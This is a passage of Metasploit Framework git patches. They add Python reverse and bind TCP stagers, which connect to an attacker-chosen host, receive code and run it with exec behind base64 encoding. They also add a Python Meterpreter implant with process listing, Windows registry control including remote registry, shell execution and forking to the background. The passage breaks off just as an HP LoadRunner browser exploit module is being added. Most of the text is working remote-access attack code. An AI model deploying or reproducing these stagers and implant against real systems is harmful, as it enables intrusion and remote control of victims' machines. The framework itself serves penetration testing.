"\td+=c.recv(4096)\n" + cmd += "exec(d,{'s':c})\n" + + # Base64 encoding is required in order to handle Python's formatting requirements in the while loop + cmd = "import base64; exec(base64.b64decode('#{Rex::Text.encode_base64(cmd)}'))" + return cmd + end + + def handle_intermediate_stage(conn, payload) + conn.put([payload.length].pack("N")) + end +end diff --git a/modules/payloads/stagers/python/reverse_tcp.rb b/modules/payloads/stagers/python/reverse_tcp.rb new file mode 100644 index 0000000000000..da311cb4ce0c3 --- /dev/null +++ b/modules/payloads/stagers/python/reverse_tcp.rb @@ -0,0 +1,53 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Stager + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Python Reverse TCP Stager', + 'Description' => 'Reverse Python connect back stager', + 'Author' => 'Spencer McIntyre', + 'License' => MSF_LICENSE, + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'Handler' => Msf::Handler::ReverseTcp, + 'Stager' => {'Payload' => ""} + )) + end + + # + # Constructs the payload + # + def generate + cmd = '' + # Set up the socket + cmd += "import socket,struct\n" + cmd += "s=socket.socket(2,1)\n" # socket.AF_INET = 2, socket.SOCK_STREAM = 1 + cmd += "s.connect(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n" + cmd += "l=struct.unpack('>I',s.recv(4))[0]\n" + cmd += "d=s.recv(4096)\n" + cmd += "while len(d)!=l:\n" + cmd += "\td+=s.recv(4096)\n" + cmd += "exec(d,{'s':s})\n" + + # Base64 encoding is required in order to handle Python's formatting requirements in the while loop + cmd = "import base64; exec(base64.b64decode('#{Rex::Text.encode_base64(cmd)}'))" + return cmd + end + + def handle_intermediate_stage(conn, payload) + conn.put([payload.length].pack("N")) + end +end diff --git a/modules/payloads/stages/python/meterpreter.rb b/modules/payloads/stages/python/meterpreter.rb new file mode 100644 index 0000000000000..6e6f036240ec8 --- /dev/null +++ b/modules/payloads/stages/python/meterpreter.rb @@ -0,0 +1,36 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp' +require 'msf/base/sessions/meterpreter_python' +require 'msf/base/sessions/meterpreter_options' + + +module Metasploit3 + include Msf::Sessions::MeterpreterOptions + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Python Meterpreter', + 'Description' => 'Run a meterpreter server in Python', + 'Author' => ['Spencer McIntyre'], + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'License' => MSF_LICENSE, + 'Session' => Msf::Sessions::Meterpreter_Python_Python)) + end + + def generate_stage + file = File.join(Msf::Config.data_directory, "meterpreter", "meterpreter.py") + + met = File.open(file, "rb") {|f| + f.read(f.stat.size) + } + met + end +end From e4261778e0bf0bf040bacd65fbc44774686f82f2 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Tue, 6 Aug 2013 22:33:43 -0400 Subject: [PATCH 426/454] Add process enumeration for windows. --- data/meterpreter/ext_server_stdapi.py | 156 ++++++++++++++++++++++++-- 1 file changed, 144 insertions(+), 12 deletions(-) diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py index 36fdee9d5caf1..f0b49f1145e43 100644 --- a/data/meterpreter/ext_server_stdapi.py +++ b/data/meterpreter/ext_server_stdapi.py @@ -1,6 +1,7 @@ import os import sys import shlex +import ctypes import socket import struct import shutil @@ -9,6 +10,43 @@ import platform import subprocess +has_windll = hasattr(ctypes, 'windll') + +try: + import pwd + has_pwd = True +except ImportError: + has_pwd = False + +class PROCESSENTRY32(ctypes.Structure): + _fields_ = [("dwSize", ctypes.c_uint32), + ("cntUsage", ctypes.c_uint32), + ("th32ProcessID", ctypes.c_uint32), + ("th32DefaultHeapID", ctypes.c_void_p), + ("th32ModuleID", ctypes.c_uint32), + ("cntThreads", ctypes.c_uint32), + ("th32ParentProcessID", ctypes.c_uint32), + ("thPriClassBase", ctypes.c_int32), + ("dwFlags", ctypes.c_uint32), + ("szExeFile", (ctypes.c_char * 260))] + +class SYSTEM_INFO(ctypes.Structure): + _fields_ = [("wProcessorArchitecture", ctypes.c_uint16), + ("wReserved", ctypes.c_uint16), + ("dwPageSize", ctypes.c_uint32), + ("lpMinimumApplicationAddress", ctypes.c_void_p), + ("lpMaximumApplicationAddress", ctypes.c_void_p), + ("dwActiveProcessorMask", ctypes.c_uint32), + ("dwNumberOfProcessors", ctypes.c_uint32), + ("dwProcessorType", ctypes.c_uint32), + ("dwAllocationGranularity", ctypes.c_uint32), + ("wProcessorLevel", ctypes.c_uint16), + ("wProcessorRevision", ctypes.c_uint16),] + +class SID_AND_ATTRIBUTES(ctypes.Structure): + _fields_ = [("Sid", ctypes.c_void_p), + ("Attributes", ctypes.c_uint32),] + ## # STDAPI ## @@ -103,14 +141,6 @@ TLV_TYPE_SHUTDOWN_HOW = TLV_META_TYPE_UINT | 1530 -## -# Sys -## -PROCESS_EXECUTE_FLAG_HIDDEN = (1 << 0) -PROCESS_EXECUTE_FLAG_CHANNELIZED = (1 << 1) -PROCESS_EXECUTE_FLAG_SUSPENDED = (1 << 2) -PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN = (1 << 3) - # Registry TLV_TYPE_HKEY = TLV_META_TYPE_UINT | 1000 TLV_TYPE_ROOT_KEY = TLV_TYPE_HKEY @@ -200,6 +230,19 @@ TLV_TYPE_POWER_FLAGS = TLV_META_TYPE_UINT | 4100 TLV_TYPE_POWER_REASON = TLV_META_TYPE_UINT | 4101 +## +# Sys +## +PROCESS_EXECUTE_FLAG_HIDDEN = (1 << 0) +PROCESS_EXECUTE_FLAG_CHANNELIZED = (1 << 1) +PROCESS_EXECUTE_FLAG_SUSPENDED = (1 << 2) +PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN = (1 << 3) + +PROCESS_ARCH_UNKNOWN = 0 +PROCESS_ARCH_X86 = 1 +PROCESS_ARCH_X64 = 2 +PROCESS_ARCH_IA64 = 3 + ## # Errors ## @@ -228,6 +271,13 @@ def get_stat_buffer(path): st_buf += struct.pack(' Date: Fri, 9 Aug 2013 08:39:05 -0400 Subject: [PATCH 427/454] Add Windows registry manipulation support. --- data/meterpreter/ext_server_stdapi.py | 193 ++++++++++++++++++++++++-- data/meterpreter/meterpreter.py | 7 + 2 files changed, 192 insertions(+), 8 deletions(-) diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py index f0b49f1145e43..9bee1cd6c34b0 100644 --- a/data/meterpreter/ext_server_stdapi.py +++ b/data/meterpreter/ext_server_stdapi.py @@ -18,6 +18,12 @@ except ImportError: has_pwd = False +try: + import _winreg as winreg + has_winreg = True +except ImportError: + has_winreg = False + class PROCESSENTRY32(ctypes.Structure): _fields_ = [("dwSize", ctypes.c_uint32), ("cntUsage", ctypes.c_uint32), @@ -142,14 +148,15 @@ class SID_AND_ATTRIBUTES(ctypes.Structure): TLV_TYPE_SHUTDOWN_HOW = TLV_META_TYPE_UINT | 1530 # Registry -TLV_TYPE_HKEY = TLV_META_TYPE_UINT | 1000 -TLV_TYPE_ROOT_KEY = TLV_TYPE_HKEY -TLV_TYPE_BASE_KEY = TLV_META_TYPE_STRING | 1001 -TLV_TYPE_PERMISSION = TLV_META_TYPE_UINT | 1002 -TLV_TYPE_KEY_NAME = TLV_META_TYPE_STRING | 1003 -TLV_TYPE_VALUE_NAME = TLV_META_TYPE_STRING | 1010 -TLV_TYPE_VALUE_TYPE = TLV_META_TYPE_UINT | 1011 -TLV_TYPE_VALUE_DATA = TLV_META_TYPE_RAW | 1012 +TLV_TYPE_HKEY = TLV_META_TYPE_UINT | 1000 +TLV_TYPE_ROOT_KEY = TLV_TYPE_HKEY +TLV_TYPE_BASE_KEY = TLV_META_TYPE_STRING | 1001 +TLV_TYPE_PERMISSION = TLV_META_TYPE_UINT | 1002 +TLV_TYPE_KEY_NAME = TLV_META_TYPE_STRING | 1003 +TLV_TYPE_VALUE_NAME = TLV_META_TYPE_STRING | 1010 +TLV_TYPE_VALUE_TYPE = TLV_META_TYPE_UINT | 1011 +TLV_TYPE_VALUE_DATA = TLV_META_TYPE_RAW | 1012 +TLV_TYPE_TARGET_HOST = TLV_META_TYPE_STRING | 1013 # Config TLV_TYPE_COMPUTER_NAME = TLV_META_TYPE_STRING | 1040 @@ -634,3 +641,173 @@ def stdapi_net_socket_tcp_shutdown(request, response): channel = meterpreter.channels[channel_id] channel.close() return ERROR_SUCCESS, response + +@meterpreter.register_function_windll +def stdapi_registry_close_key(request, response): + hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] + result = ctypes.windll.advapi32.RegCloseKey(hkey) + return ERROR_SUCCESS, response + +@meterpreter.register_function_windll +def stdapi_registry_create_key(request, response): + root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value'] + base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value'] + permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS) + res_key = ctypes.c_void_p() + if ctypes.windll.advapi32.RegCreateKeyExA(root_key, base_key, 0, None, 0, permission, None, ctypes.byref(res_key), None) == ERROR_SUCCESS: + response += tlv_pack(TLV_TYPE_HKEY, res_key.value) + return ERROR_SUCCESS, response + return ERROR_FAILURE, response + +@meterpreter.register_function_windll +def stdapi_registry_delete_key(request, response): + root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value'] + base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value'] + flags = packet_get_tlv(request, TLV_TYPE_FLAGS)['value'] + if (flags & DELETE_KEY_FLAG_RECURSIVE): + result = ctypes.windll.shlwapi.SHDeleteKeyA(root_key, base_key) + else: + result = ctypes.windll.advapi32.RegDeleteKeyA(root_key, base_key) + return result, response + +@meterpreter.register_function_windll +def stdapi_registry_delete_value(request, response): + root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value'] + value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value'] + result = ctypes.windll.advapi32.RegDeleteValueA(root_key, value_name) + return result, response + +@meterpreter.register_function_windll +def stdapi_registry_enum_key(request, response): + ERROR_MORE_DATA = 0xea + ERROR_NO_MORE_ITEMS = 0x0103 + hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] + name = (ctypes.c_char * 4096)() + index = 0 + tries = 0 + while True: + result = ctypes.windll.advapi32.RegEnumKeyA(hkey, index, name, ctypes.sizeof(name)) + if result == ERROR_MORE_DATA: + if tries > 3: + break + name = (ctypes.c_char * (ctypes.sizeof(name) * 2)) + tries += 1 + continue + elif result == ERROR_NO_MORE_ITEMS: + result = ERROR_SUCCESS + break + elif result != ERROR_SUCCESS: + break + tries = 0 + response += tlv_pack(TLV_TYPE_KEY_NAME, ctypes.string_at(name)) + index += 1 + return result, response + +@meterpreter.register_function_windll +def stdapi_registry_enum_value(request, response): + ERROR_MORE_DATA = 0xea + ERROR_NO_MORE_ITEMS = 0x0103 + hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] + name = (ctypes.c_char * 4096)() + name_sz = ctypes.c_uint32() + index = 0 + tries = 0 + while True: + name_sz.value = ctypes.sizeof(name) + result = ctypes.windll.advapi32.RegEnumValueA(hkey, index, name, ctypes.byref(name_sz), None, None, None, None) + if result == ERROR_MORE_DATA: + if tries > 3: + break + name = (ctypes.c_char * (ctypes.sizeof(name) * 3)) + tries += 1 + continue + elif result == ERROR_NO_MORE_ITEMS: + result = ERROR_SUCCESS + break + elif result != ERROR_SUCCESS: + break + tries = 0 + response += tlv_pack(TLV_TYPE_VALUE_NAME, ctypes.string_at(name)) + index += 1 + return result, response + +@meterpreter.register_function_windll +def stdapi_registry_load_key(request, response): + root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY) + sub_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY) + file_name = packet_get_tlv(request, TLV_TYPE_FILE_PATH) + result = ctypes.windll.advapi32.RegLoadKeyA(root_key, sub_key, file_name) + return result, response + +@meterpreter.register_function_windll +def stdapi_registry_open_key(request, response): + root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value'] + base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value'] + permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS) + handle_id = ctypes.c_void_p() + if ctypes.windll.advapi32.RegOpenKeyExA(root_key, base_key, 0, permission, ctypes.byref(handle_id)) == ERROR_SUCCESS: + response += tlv_pack(TLV_TYPE_HKEY, handle_id.value) + return ERROR_SUCCESS, response + return ERROR_FAILURE, response + +@meterpreter.register_function_windll +def stdapi_registry_open_remote_key(request, response): + target_host = packet_get_tlv(request, TLV_TYPE_TARGET_HOST)['value'] + root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value'] + result_key = ctypes.c_void_p() + result = ctypes.windll.advapi32.RegConnectRegistry(target_host, root_key, ctypes.byref(result_key)) + if (result == ERROR_SUCCESS): + response += tlv_pack(TLV_TYPE_HKEY, result_key.value) + return ERROR_SUCCESS, response + return ERROR_FAILURE, response + +@meterpreter.register_function_windll +def stdapi_registry_query_class(request, response): + hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] + value_data = (ctypes.c_char * 4096)() + value_data_sz = ctypes.c_uint32() + value_data_sz.value = ctypes.sizeof(value_data) + result = ctypes.windll.advapi32.RegQueryInfoKeyA(hkey, value_data, ctypes.byref(value_data_sz), None, None, None, None, None, None, None, None, None) + if result == ERROR_SUCCESS: + response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data)) + return ERROR_SUCCESS, response + return ERROR_FAILURE, response + +@meterpreter.register_function_windll +def stdapi_registry_query_value(request, response): + REG_SZ = 1 + REG_DWORD = 4 + hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] + value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value'] + value_type = ctypes.c_uint32() + value_type.value = 0 + value_data = (ctypes.c_ubyte * 4096)() + value_data_sz = ctypes.c_uint32() + value_data_sz.value = ctypes.sizeof(value_data) + result = ctypes.windll.advapi32.RegQueryValueExA(hkey, value_name, 0, ctypes.byref(value_type), value_data, ctypes.byref(value_data_sz)) + if result == ERROR_SUCCESS: + response += tlv_pack(TLV_TYPE_VALUE_TYPE, value_type.value) + if value_type.value == REG_SZ: + response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data) + '\x00') + elif value_type.value == REG_DWORD: + response += tlv_pack(TLV_TYPE_VALUE_DATA, ''.join(value_data.value)[:4]) + else: + response += tlv_pack(TLV_TYPE_VALUE_DATA, ''.join(value_data.value)[:value_data_sz.value]) + return ERROR_SUCCESS, response + return ERROR_FAILURE, response + +@meterpreter.register_function_windll +def stdapi_registry_set_value(request, response): + hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] + value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value'] + value_type = packet_get_tlv(request, TLV_TYPE_VALUE_TYPE)['value'] + value_data = packet_get_tlv(request, TLV_TYPE_VALUE_DATA)['value'] + result = ctypes.windll.advapi32.RegSetValueExA(hkey, value_name, 0, value_type, value_data, len(value_data)) + return result, response + +@meterpreter.register_function_windll +def stdapi_registry_unload_key(request, response): + root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value'] + base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value'] + result = ctypes.windll.advapi32.RegUnLoadKeyA(root_key, base_key) + return result, response diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py index 78d54f8cec064..fb9adfb81e082 100644 --- a/data/meterpreter/meterpreter.py +++ b/data/meterpreter/meterpreter.py @@ -3,12 +3,15 @@ import sys import code import random +import ctypes import select import socket import struct import threading import subprocess +has_windll = hasattr(ctypes, 'windll') + # # Constants # @@ -183,6 +186,10 @@ def __init__(self, socket): def register_function(self, func): self.extension_functions[func.__name__] = func + def register_function_windll(self, func): + if has_windll: + self.register_function(func) + def run(self): while self.running: if len(select.select([self.socket], [], [], 0)[0]): From c0352780a508bd490e40ef604617ebc9f3c0b5ef Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Fri, 9 Aug 2013 10:39:19 -0400 Subject: [PATCH 428/454] Improve process execution on Linux. --- data/meterpreter/ext_server_stdapi.py | 33 ++++++++++++++++++++++++--- data/meterpreter/meterpreter.py | 2 ++ 2 files changed, 32 insertions(+), 3 deletions(-) diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py index 9bee1cd6c34b0..b3718729bb107 100644 --- a/data/meterpreter/ext_server_stdapi.py +++ b/data/meterpreter/ext_server_stdapi.py @@ -12,12 +12,24 @@ has_windll = hasattr(ctypes, 'windll') +try: + import pty + has_pty = True +except ImportError: + has_pty = False + try: import pwd has_pwd = True except ImportError: has_pwd = False +try: + import termios + has_termios = True +except ImportError: + has_termios = False + try: import _winreg as winreg has_winreg = True @@ -371,10 +383,25 @@ def stdapi_sys_process_execute(request, response): flags = packet_get_tlv(request, TLV_TYPE_PROCESS_FLAGS)['value'] if len(cmd) == 0: return ERROR_FAILURE, response - args = [cmd] - args.extend(shlex.split(raw_args)) + if os.path.isfile('/bin/sh'): + args = ['/bin/sh', '-c', cmd, raw_args] + else: + args = [cmd] + args.extend(shlex.split(raw_args)) if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED): - proc_h = STDProcess(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + if has_pty: + master, slave = pty.openpty() + if has_termios: + settings = termios.tcgetattr(master) + settings[3] = settings[3] & ~termios.ECHO + termios.tcsetattr(master, termios.TCSADRAIN, settings) + proc_h = STDProcess(args, stdin=slave, stdout=slave, stderr=slave, bufsize=0) + proc_h.stdin = os.fdopen(master, 'wb') + proc_h.stdout = os.fdopen(master, 'rb') + proc_h.stderr = open(os.devnull, 'rb') + else: + proc_h = STDProcess(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + proc_h.start() else: proc_h = subprocess.Popen(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) proc_h_id = len(meterpreter.processes) diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py index fb9adfb81e082..c9ec8f0640551 100644 --- a/data/meterpreter/meterpreter.py +++ b/data/meterpreter/meterpreter.py @@ -167,6 +167,8 @@ def read(self, l = None): class STDProcess(subprocess.Popen): def __init__(self, *args, **kwargs): subprocess.Popen.__init__(self, *args, **kwargs) + + def start(self): self.stdout_reader = STDProcessBuffer(self.stdout, lambda: self.poll() == None) self.stdout_reader.start() self.stderr_reader = STDProcessBuffer(self.stderr, lambda: self.poll() == None) From d132aa9c509b29d9b6d66a7446533aa06a9580cd Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Mon, 12 Aug 2013 16:38:15 -0400 Subject: [PATCH 429/454] Add process enumeration via PS for OSX. --- data/meterpreter/ext_server_stdapi.py | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py index b3718729bb107..aa76178ce7ccb 100644 --- a/data/meterpreter/ext_server_stdapi.py +++ b/data/meterpreter/ext_server_stdapi.py @@ -450,6 +450,25 @@ def stdapi_sys_process_get_processes_via_proc(request, response): response += tlv_pack(TLV_TYPE_PROCESS_GROUP, pgroup) return ERROR_SUCCESS, response +def stdapi_sys_process_get_processes_via_ps(request, response): + ps_args = ['ps', 'ax', '-w', '-o', 'pid,ppid,user,command'] + proc_h = subprocess.Popen(ps_args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + ps_output = proc_h.stdout.read() + ps_output = ps_output.split('\n') + ps_output.pop(0) + for process in ps_output: + process = process.split() + if len(process) < 4: + break + pgroup = '' + pgroup += tlv_pack(TLV_TYPE_PID, int(process[0])) + pgroup += tlv_pack(TLV_TYPE_PARENT_PID, int(process[1])) + pgroup += tlv_pack(TLV_TYPE_USER_NAME, process[2]) + pgroup += tlv_pack(TLV_TYPE_PROCESS_NAME, os.path.basename(process[3])) + pgroup += tlv_pack(TLV_TYPE_PROCESS_PATH, ' '.join(process[3:])) + response += tlv_pack(TLV_TYPE_PROCESS_GROUP, pgroup) + return ERROR_SUCCESS, response + def stdapi_sys_process_get_processes_via_windll(request, response): TH32CS_SNAPPROCESS = 2 PROCESS_QUERY_INFORMATION = 0x0400 @@ -530,6 +549,8 @@ def stdapi_sys_process_get_processes(request, response): return stdapi_sys_process_get_processes_via_proc(request, response) elif has_windll: return stdapi_sys_process_get_processes_via_windll(request, response) + else: + return stdapi_sys_process_get_processes_via_ps(request, response) return ERROR_FAILURE, response @meterpreter.register_function From 2e152a5392689e60eb4bd922831942d93dd648f7 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Tue, 13 Aug 2013 12:50:52 -0400 Subject: [PATCH 430/454] Remove debug print and fix channel additions. --- data/meterpreter/ext_server_stdapi.py | 14 ++++---------- data/meterpreter/meterpreter.py | 26 ++++++++++++++++---------- 2 files changed, 20 insertions(+), 20 deletions(-) diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py index aa76178ce7ccb..702f8b013bc79 100644 --- a/data/meterpreter/ext_server_stdapi.py +++ b/data/meterpreter/ext_server_stdapi.py @@ -306,8 +306,7 @@ def channel_create_stdapi_fs_file(request, response): else: fmode = 'rb' file_h = open(fpath, fmode) - channel_id = len(meterpreter.channels) - meterpreter.channels[channel_id] = file_h + channel_id = meterpreter.add_channel(file_h) response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) return ERROR_SUCCESS, response @@ -331,8 +330,7 @@ def channel_create_stdapi_net_tcp_client(request, response): pass if not connected: return ERROR_CONNECTION_ERROR, response - channel_id = len(meterpreter.channels) - meterpreter.channels[channel_id] = sock + channel_id = meterpreter.add_channel(sock) response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) return ERROR_SUCCESS, response @@ -366,8 +364,6 @@ def stdapi_sys_process_close(request, response): if not proc_h_id: return ERROR_SUCCESS, response proc_h_id = proc_h_id['value'] - if not proc_h_id in meterpreter.processes: - print("[-] trying to close non-existent channel: " + str(proc_h_id)) proc_h = meterpreter.channels[proc_h_id] proc_h.kill() return ERROR_SUCCESS, response @@ -404,13 +400,11 @@ def stdapi_sys_process_execute(request, response): proc_h.start() else: proc_h = subprocess.Popen(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) - proc_h_id = len(meterpreter.processes) - meterpreter.processes[proc_h_id] = proc_h + proc_h_id = meterpreter.add_process(proc_h) response += tlv_pack(TLV_TYPE_PID, proc_h.pid) response += tlv_pack(TLV_TYPE_PROCESS_HANDLE, proc_h_id) if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED): - channel_id = len(meterpreter.channels) - meterpreter.channels[channel_id] = proc_h + channel_id = meterpreter.add_channel(proc_h) response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) return ERROR_SUCCESS, response diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py index c9ec8f0640551..ba3f0e05348ac 100644 --- a/data/meterpreter/meterpreter.py +++ b/data/meterpreter/meterpreter.py @@ -192,6 +192,20 @@ def register_function_windll(self, func): if has_windll: self.register_function(func) + def add_channel(self, channel): + idx = 0 + while idx in self.channels: + idx += 1 + self.channels[idx] = channel + return idx + + def add_process(self, process): + idx = 0 + while idx in self.processes: + idx += 1 + self.processes[idx] = process + return idx + def run(self): while self.running: if len(select.select([self.socket], [], [], 0)[0]): @@ -203,10 +217,8 @@ def run(self): request = '' while len(request) < req_length: request += self.socket.recv(4096) - print('[+] received ' + str(len(request)) + ' bytes') response = self.create_response(request) self.socket.send(response) - print('[+] sent ' + str(len(response)) + ' bytes') else: channels_for_removal = [] channel_ids = self.channels.keys() # iterate over the keys because self.channels could be modified if one is closed @@ -241,7 +253,6 @@ def run(self): pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id()) pkt = struct.pack('>I', len(pkt) + 4) + pkt self.socket.send(pkt) - print('[+] sent ' + str(len(pkt)) + ' bytes') def handle_dead_resource_channel(self, channel_id): del self.channels[channel_id] @@ -253,7 +264,6 @@ def handle_dead_resource_channel(self, channel_id): pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) pkt = struct.pack('>I', len(pkt) + 4) + pkt self.socket.send(pkt) - print('[+] sent ' + str(len(pkt)) + ' bytes') def _core_loadlib(self, request, response): data_tlv = packet_get_tlv(request, TLV_TYPE_DATA) @@ -331,6 +341,7 @@ def _core_channel_read(self, request, response): if channel_id not in self.channels: return ERROR_FAILURE, response channel = self.channels[channel_id] + data = '' if isinstance(channel, file): data = channel.read(length) elif isinstance(channel, STDProcess): @@ -380,22 +391,17 @@ def create_response(self, request): reqid_tlv = packet_get_tlv(request, TLV_TYPE_REQUEST_ID) resp += tlv_pack(reqid_tlv) - print("[*] running method: " + method_tlv['value']) if method_tlv['value'] in self.extension_functions: handler = self.extension_functions[method_tlv['value']] try: result, resp = handler(request, resp) except Exception, err: - print("[-] method: " + method_tlv['value'] + " encountered an exception: " + repr(err)) result = ERROR_FAILURE else: result = ERROR_FAILURE - if result == ERROR_FAILURE: - print("[*] method: " + method_tlv['value'] + " failed") - resp += tlv_pack(TLV_TYPE_RESULT, result) resp = struct.pack('>I', len(resp) + 4) + resp return resp -print("[+] starting meterpreter") + met = PythonMeterpreter(s) met.run() From 796ac18d86a3f52e80cbac8ff44e4138bfb40bda Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 15 Aug 2013 09:27:13 -0400 Subject: [PATCH 431/454] Sort import statements alphabetically. --- data/meterpreter/ext_server_stdapi.py | 12 ++++++------ data/meterpreter/meterpreter.py | 8 ++++---- 2 files changed, 10 insertions(+), 10 deletions(-) diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py index 702f8b013bc79..63b2792a00f2e 100644 --- a/data/meterpreter/ext_server_stdapi.py +++ b/data/meterpreter/ext_server_stdapi.py @@ -1,14 +1,14 @@ -import os -import sys -import shlex import ctypes -import socket -import struct -import shutil import fnmatch import getpass +import os import platform +import shlex +import shutil +import socket +import struct import subprocess +import sys has_windll = hasattr(ctypes, 'windll') diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py index ba3f0e05348ac..8d58cc7e5f7e4 100644 --- a/data/meterpreter/meterpreter.py +++ b/data/meterpreter/meterpreter.py @@ -1,14 +1,14 @@ #!/usr/bin/python -import os -import sys import code -import random import ctypes +import os +import random import select import socket import struct -import threading import subprocess +import sys +import threading has_windll = hasattr(ctypes, 'windll') From b5ccca402937cadf72917d0da81a6aacf2e37895 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Wed, 21 Aug 2013 14:59:30 -0400 Subject: [PATCH 432/454] Un typo a client and server socket mixup. --- modules/payloads/stagers/python/bind_tcp.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/payloads/stagers/python/bind_tcp.rb b/modules/payloads/stagers/python/bind_tcp.rb index e5353ce3019e9..f3ec48e0fdaeb 100644 --- a/modules/payloads/stagers/python/bind_tcp.rb +++ b/modules/payloads/stagers/python/bind_tcp.rb @@ -39,7 +39,7 @@ def generate cmd += "s.listen(1)\n" cmd += "c,a=s.accept()\n" cmd += "l=struct.unpack('>I',c.recv(4))[0]\n" - cmd += "d=s.recv(4096)\n" + cmd += "d=c.recv(4096)\n" cmd += "while len(d)!=l:\n" cmd += "\td+=c.recv(4096)\n" cmd += "exec(d,{'s':c})\n" From 4788d8627c88982b40465f0122ed5dbbc6405057 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Wed, 28 Aug 2013 17:19:49 -0400 Subject: [PATCH 433/454] Always os.fork() when available. --- data/meterpreter/meterpreter.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py index 8d58cc7e5f7e4..0cbdf74c927cd 100644 --- a/data/meterpreter/meterpreter.py +++ b/data/meterpreter/meterpreter.py @@ -403,5 +403,6 @@ def create_response(self, request): resp = struct.pack('>I', len(resp) + 4) + resp return resp -met = PythonMeterpreter(s) -met.run() +if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0): + met = PythonMeterpreter(s) + met.run() From 0bebf04293ab74e64af50f6b2fdb3e24bf10bdd3 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 29 Aug 2013 14:09:45 -0500 Subject: [PATCH 434/454] Add module for ZDI-13-207 --- .../browser/hp_loadrunner_writefilestring.rb | 152 ++++++++++++++++++ 1 file changed, 152 insertions(+) create mode 100644 modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb diff --git a/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb b/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb new file mode 100644 index 0000000000000..6cb00107f0ef0 --- /dev/null +++ b/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb @@ -0,0 +1,152 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# 